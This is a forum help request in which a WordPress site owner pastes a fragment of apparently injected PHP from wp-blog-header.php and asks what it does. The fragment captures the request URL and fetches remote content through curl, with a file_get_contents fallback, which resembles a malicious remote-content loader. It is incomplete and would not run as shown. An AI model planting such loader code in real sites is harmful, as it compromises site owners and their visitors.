wp-blog-header keeps getting changed
-
the file is owned by root, but they keep changing it back to nginx. What does this code do?
<?php
$sameurl = @$_SERVER[‘HTTP_HOST’].@$_SERVER[‘PHP_SELF’].@$_SERVER[‘QUERY_STRING’];

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_USERAGENT,$user_agent);
$file_contents = curl_exec($ch);
curl_close($ch);
} catch (Exception $e) {
}
}
if (strlen($file_contents) < 1 && function_exists(‘file_get_contents’)) {
ini_set(‘user_agent’, $user_agent);
